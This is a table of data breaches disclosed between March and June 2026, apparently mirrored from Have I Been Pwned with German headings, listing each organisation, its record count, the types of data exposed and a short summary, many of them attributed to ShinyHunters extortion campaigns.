| 11.06.2026 - Ralph Lauren | 139.903 Datensätze geleaked | |
| Age groups, Email addresses, Genders, Names, Phone numbers In June 2026, fashion retailer Ralph Lauren was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published hundreds of gigabytes of data they claimed was obtained from the organisation's Salesforce instance, including 140k unique email addresses along with names, phone numbers, genders and age groups. |
||
| 09.06.2026 - University of Nottingham | 454.635 Datensätze geleaked | |
| Academic records, Citizenship statuses, Dates of birth, Disabilities, Email addresses, Ethnicities, Genders, IP addresses, Names, Passport numbers, Phone numbers, Physical addresses, Purchases, Salutations, Usernames In June 2026, the University of Nottingham was the target of a cyber attack, later linked to a ShinyHunters "pay or leak" extortion campaign. Tens of gigabytes of data were subsequently published online and included 455k unique email addresses along with extensive personal information including names, addresses, phone numbers, ethnicities, disabilities, passport numbers and information relating to academic enrolments and fee payments. In a post about the incident, the university advised that the breach affected both "current students, and alumni". |
||
| 30.05.2026 - Atlas Menu | 63.926 Datensätze geleaked | |
| Email addresses, IP addresses, Passwords, Support tickets, Usernames In May 2026, the GTA V and CS2 cheat service Atlas Menu suffered a data breach. An attacker claimed to have gained access to all Atlas systems and published the service's database to a public GitHub repository. The incident exposed 64k unique email addresses along with usernames, IP addresses, support tickets and passwords stored as bcrypt hashes. |
||
| 29.05.2026 - BCD Travel | 396.313 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the corporate travel management company BCD Travel was claimed as a victim of the ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from BCD was subsequently published publicly in early June and contained 396k unique email addresses. Other exposed data included names, addresses, phone numbers, job titles and employer names, spanning a variety of different data sets including leads, internal staff and support tickets. |
||
| 23.05.2026 - Baker Distributing | 102.935 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the HVAC/R wholesale distributor Baker Distributing Company was added to the ShinyHunters data extortion group's "pay or leak" site. In early June, the group publicly published data they claimed had been obtained from Baker's SharePoint and Salesforce infrastructure including 103k unique email addresses along with names, physical addresses, phone numbers and tickets relating to the company's HVAC contractor customer base. The exposed data was largely corporate contact and support information with limited sensitivity. |
||
| 23.05.2026 - Charter | 4.851.517 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In May 2026, the telecommunications company Charter Communications (the parent company behind the consumer broadband and cable brand Spectrum) was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group later published the data, which exposed 4.9M unique email addresses along with names, phone numbers and physical addresses. A subset of approximately 85k records originating from an internal employee directory also included job titles. Charter confirmed the incident, but stated that no sensitive personal information or customer proprietary network information (CPNI) was exfiltrated. |
||
| 23.05.2026 - DentaQuest | 2.553.599 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Government issued IDs, Health insurance information, Names, Phone numbers, Physical addresses In May 2026, the dental benefits administrator DentaQuest was the target of a ShinyHunters "pay or leak" extortion campaign that resulted in the group publicly publishing hundreds of gigabytes of data allegedly obtained from the company. The data included 2.6M unique email addresses along with names, addresses and phone numbers. Much of the data appeared in healthcare enrollment files (ASC X12 transaction sets) with some containing Medicaid IDs, while additional data appeared in member records and related files. DentaQuest acknowledged "a cybersecurity incident involving unauthorized access to a limited portion of our network", and advised they had contained the attack and mitigated the threat. |
||
| 05.05.2026 - Cushman & Wakefield | 310.431 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations In May 2026, the real estate services firm Cushman & Wakefield was the target of a "pay or leak" extortion campaign by the ShinyHunters group. Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers. |
||
| 30.04.2026 - Reborn Gaming | 126 Datensätze geleaked | |
| Email addresses, IP addresses In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM). The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned. |
||
| 28.04.2026 - Vimeo | 119.167 Datensätze geleaked | |
| Email addresses, Names In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their "pay or leak" campaign. They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include "Vimeo video content, valid user login credentials, or payment card information". |
||
| 26.04.2026 - CTT | 468.124 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum. The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel. |
||
| 24.04.2026 - Udemy | 1.401.259 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer. |
||
| 20.04.2026 - ADT | 5.488.888 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses In April 2026, home security firm ADT confirmed a data breach by ShinyHunters, which listed the company on its website as part of a "pay or leak" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that "in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included" and that it had contacted all affected people. |
||
| 20.04.2026 - Aman | 215.563 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a "pay or leak" extortion campaign, with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes. |
||
| 20.04.2026 - Canada Life | 237.810 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations, Support tickets In April 2026, Canada Life was the victim of a "pay or leak" extortion campaign by the ShinyHunters group. The group subsequently published the data which contained over 200k unique email addresses along with names, phone numbers, physical addresses and, in some cases, customer support tickets. In their disclosure notice, Canada Life advised that "it is a small proportion of our customers who may have been impacted". In the wake of the incident, Canada Life also published an alert cautioning customers to be wary of phishing attacks, a pattern often seen after the public release of breached data. |
||
| 20.04.2026 - Pitney Bowes | 8.243.989 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In April 2026, the hacking collective ShinyHunters claimed to have obtained data from Pitney Bowes as part of a broader extortion campaign that also named several other organisations. After negotiations allegedly failed, the group publicly released the data which included 8.2M unique email addresses, along with names, phone numbers and physical addresses. A subset of the data also included Pitney Bowes employee records with job titles. |
||
| 18.04.2026 - Carnival | 7.531.359 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Geographic locations, Loyalty program details, Names, Salutations In April 2026, the notorious hacking collective ShinyHunters claimed they had obtained a substantial volume of data belonging to the Carnival cruise operator and attempted to extort the organisation to prevent the data from being leaked. The following week, the group published the data publicly, which contained 8.7M records with 7.5M unique email addresses. The data contained fields indicating it related to the Mariner Society loyalty program run by Holland America, a cruise line brand under Carnival, and included names, dates of birth, genders and data relating to status within the loyalty program. Carnival acknowledged a phishing incident involving a single user account and advised they were working to better understand the scope of the unauthorised activity. |
||
| 15.04.2026 - Kemper | 269.299 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases In April 2026, the American insurance holding company Kemper Corporation was named by the ShinyHunters ransomware group in a "pay or leak" extortion campaign. The attackers allegedly accessed Kemper's Salesforce environment via social engineering as part of a broader campaign targeting hundreds of organisations using the same method. The group later published tens of gigabytes of data they claimed included internal directory data, Salesforce records and Stripe payment logs. Among the 269k unique email addresses were names, phone numbers, physical addresses and partial payment card data including the last 4 digits, expiry dates and card brands. Kemper confirmed the incident and stated they had engaged third-party cybersecurity experts and notified law enforcement. |
||
| 15.04.2026 - Zara | 197.376 Datensätze geleaked | |
| Email addresses, Geographic locations, Purchases, Support tickets In April 2026, the fashion brand Zara was among a number of organisations targeted by the ShinyHunters extortion group as part of their "pay or leak" campaign. The group claimed the breach was related to a compromise of the Anodot analytics platform and subsequently published a terabyte of data allegedly including 95M support ticket records. The data contained 197k unique email addresses alongside product SKUs, order IDs and the market the support ticket originated in. Zara's parent company Inditex advised that the incident didn't affect passwords or payment information. |
||
| 14.04.2026 - Abrigo | 711.099 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the fintech software company Abrigo was targeted in a "pay or leak" extortion attempt by the ShinyHunters group. Shortly after, data allegedly taken from the company's Salesforce instance was published publicly and contained over 700k unique email addresses belonging to both Abrigo staff and external contacts. Whilst separate from Abrigo's Salesforce compromise via the Drift application connector the previous year, the data fields described in that incident are consistent with the ShinyHunters data, namely that it was "business contact information" including "institution name, employee name, email addresses, and phone numbers". |
||
| 12.04.2026 - Marcus & Millichap | 1.837.078 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the commercial real estate brokerage firm Marcus & Millichap was named as one of multiple alleged victims of the ShinyHunters hacking and extortion group. Data alleged to have been obtained from the company was subsequently released publicly and included 1.8M unique email addresses, along with names, phone numbers and employment-related information including employer, job title and physical company address. In their disclosure notice, Marcus & Millichap advised that data which may have been accessed appeared limited to "company forms, templates, marketing materials, and general contact information". |
||
| 12.04.2026 - Mytheresa | 84.108 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases, Salutations In April 2026, the luxury fashion e-commerce platform Mytheresa was listed as a victim of the ShinyHunters "pay or leak" extortion group. After the ransom deadline passed, the group publicly released the data which contained 84k unique email addresses. The exposed data also included names, phone numbers, physical addresses, purchases and partial credit card data including card type, last 4 digits and expiry date. |
||
| 10.04.2026 - McGraw Hill | 13.500.136 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses In April 2026, education company McGraw Hill confirmed a data breach following an extortion attempt. Attributed to a Salesforce misconfiguration, the company stated the incident exposed "a limited set of data from a webpage hosted by Salesforce on its platform". More than 100GB of data was later publicly distributed, containing 13.5M unique email addresses across multiple files, with additional fields such as name, physical address and phone number appearing inconsistently across some records. |
||
| 08.04.2026 - 7-Eleven | 185.256 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Phone numbers, Physical addresses In April 2026, 7-Eleven was the victim of a "pay or leak" extortion campaign by ShinyHunters, with the data later published that month. The incident exposed 185k unique email addresses, along with names, physical addresses, dates of birth and phone numbers. A small number of records also contained additional exposed data fields. The company later advised the breach was limited to "certain 7-Eleven systems used to store franchisee documents", a statement consistent with the exposed data. |
||
| 07.04.2026 - My Lovely AI | 106.271 Datensätze geleaked | |
| Email addresses, Social media profiles In April 2026, the NSFW AI girlfriend platform My Lovely AI suffered a data breach that exposed over 100k users. The data included user-created prompts and links to the resulting AI-generated images, along with a small number of Discord and X usernames. |
||
| 06.04.2026 - LegionProxy | 10.144 Datensätze geleaked | |
| Email addresses, Names, Passwords, Purchases In April 2026, the commercial residential and ISP proxy network LegionProxy suffered a data breach. The incident exposed 10k email addresses, bcrypt password hashes, names and purchases. |
||
| 03.04.2026 - Amtrak | 2.147.679 Datensätze geleaked | |
| Email addresses, Names, Physical addresses, Support tickets In April 2026, the hacking group ShinyHunters claimed they had breached Amtrak. The group typically compromises organisations' Salesforce instances before demanding a ransom and later, if not paid, dumping the data publicly. They subsequently published the alleged data which contained over 2M unique email addresses along with names, physical addresses and customer support records. |
||
| 02.04.2026 - SongTrivia2 | 291.739 Datensätze geleaked | |
| Auth tokens, Avatars, Email addresses, Names, Passwords, Usernames In April 2026, the music trivia platform SongTrivia2 suffered a data breach that was subsequently published to a public hacking forum. The data contained a total of 291k unique email addresses sourced from either Google OAuth logins or accounts created on the site, the latter also containing bcrypt password hashes. The data also included names, usernames and avatars. |
||
| 31.03.2026 - Hallmark | 1.736.520 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In March 2026, Hallmark suffered an alleged breach and subsequent extortion after attackers gained access to data stored within Salesforce. The data was later published after the extortion deadline passed, exposing 1.7M unique email addresses across both Hallmark and the Hallmark+ streaming service, along with names, phone numbers, physical addresses and support tickets. |
||
| 27.03.2026 - ZenBusiness | 5.118.184 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In March 2026, the hacker and extortion group "ShinyHunters" claimed to have obtained a substantial corpus of data from ZenBusiness, a business formation and compliance platform. The group claimed the data had been exfiltrated from platforms including Snowflake, Mixpanel and Salesforce, and threatened to publish it if a ransom was not paid. The following month, after claiming payment had not been made, ShinyHunters publicly released the data. The collection amounted to many terabytes across thousands of files that appeared to originate from multiple systems and business functions, including leads, support records and other CRM-related data. The data contained approximately 5M unique email addresses, often accompanied by name and phone number depending on the source file. |
||
| 26.03.2026 - BreachForums Version 5 | 339.778 Datensätze geleaked | |
| Email addresses, Passwords, Usernames In March 2026, a breach of one of the many iterations of the BreachForums hacking forum known as "Version 5" was publicly disclosed. The incident exposed 340k unique email addresses along with usernames and argon2 password hashes. |
||
| 25.03.2026 - Addi | 34.532.941 Datensätze geleaked | |
| Age groups, Credit scores, Device information, Email addresses, Government issued IDs, Income levels, IP addresses, Latitude and longitude pairs, Names, Phone numbers, Physical addresses, Purchases, Socioeconomic levels In March 2026, the Colombian fintech company Addi identified unauthorised activity on its platform and advised customers that "it is possible that your personal information may have been compromised". The "pay or leak" extortion group ShinyHunters subsequently claimed responsibility and published a large trove of personal data allegedly obtained from Addi. The data included 34M unique email addresses from credit scoring requests, credit bureau records, customer identity records and email validation logs. It also contained government issued IDs (Cédula de Ciudadanía), estimated income, socioeconomic levels, purchases and other credit-related data points. |
||
| 25.03.2026 - Sound Radix | 292.993 Datensätze geleaked | |
| Email addresses, Names, Passwords In March 2026, the audio production tools company Sound Radix disclosed a data breach that they subsequently self-submitted to HIBP. The incident impacted 293k unique email addresses and names. Sound Radix advised that it is possible that additional data including hashed passwords may have been exposed, and that no financial or credit card information was impacted. |
||
| 19.03.2026 - Berkadia | 305.216 Datensätze geleaked | |
| Email addresses, Employers, Names, Phone numbers, Physical addresses In March 2026, the commercial real estate finance company Berkadia was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they alleged was taken from Berkadia's Salesforce instance, including over 300k unique email addresses as well as names, physical addresses and phone numbers, among other data. |
||
| 18.03.2026 - Infinite Campus | 137.123 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets, Usernames In March 2026, the student information system Infinite Campus was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they alleged was taken from Infinite Campus, containing 137k unique email addresses along with names, phone numbers, physical addresses and support tickets. Infinite Campus subsequently sent notifications, advising that the exposed data largely consisted of "names and contact information for school staff" and that "the majority is directory information commonly found on school websites". |
||
| 13.03.2026 - Divine Skins | 105.814 Datensätze geleaked | |
| Email addresses, Purchases, Usernames In March 2026, the League of Legends custom skins service Divine Skins suffered a data breach. The incident was disclosed via the service's Discord server, where Divine Skins stated that an unauthorised third party accessed part of its systems, deleted all skins from the database and exposed email addresses and usernames. The data also contained a history of purchases made by users. |
||
| 12.03.2026 - Crunchyroll | 1.195.684 Datensätze geleaked | |
| Email addresses In March 2026, the anime streaming service Crunchyroll suffered a data breach alleged to have impacted 6.8M users. The exposed data is reported to have originated from the company's Zendesk support system where "name, login name, email address, IP address, general geographic location and the contents of the support tickets" were exposed. A subset of 1.2M email addresses from an alleged 2M record dataset being sold was later provided to HIBP. |
||